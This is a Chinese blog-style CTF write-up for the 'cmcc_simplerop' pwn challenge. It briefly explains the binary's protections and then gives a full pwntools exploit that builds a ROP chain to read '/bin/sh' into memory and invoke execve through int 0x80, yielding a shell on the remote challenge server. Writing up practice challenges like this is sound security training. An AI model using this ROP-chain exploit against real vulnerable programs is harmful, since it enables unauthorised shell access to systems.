【pwn】cmcc_simplerop --rop链的构造

发布时间 2024-01-12 21:44:50作者: GGBomb

程序保护情况检查

32位程序,堆栈不可执行

主函数:

左边又是一堆函数,file看一下

发现是静态链接,那ret2libc不用考虑了,接着看一下有没有int 80

那可以考虑利用rop链调用execve函数,用系统调用的函数参数是存在寄存器中的,但是本程序找不到/bin/sh的字符串,可以利用read函数读入/bin/sh字符串

然后就是找gadget

exp:

from pwn import *
context(os='linux',arch='i386',log_level='debug')

io=remote("node5.buuoj.cn",26245)
read_plt=0x0806CD50
int_addr=0x080493e1
bin_addr=0x080EA825
pop_edx_ecx_ebx=0x0806e850
pop_eax=0x080bae06

payload=b'a'*(0x1c+0x4)+p32(read_plt)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bin_addr)+p32(8)
payload+=p32(pop_eax)+p32(11)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_addr)+p32(int_addr)
#第一个payload的pop_edx_ecx_ebx是为了将栈中的三个数据弹出,执行pop_eax
io.recvuntil(b"Your input :")
io.send(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()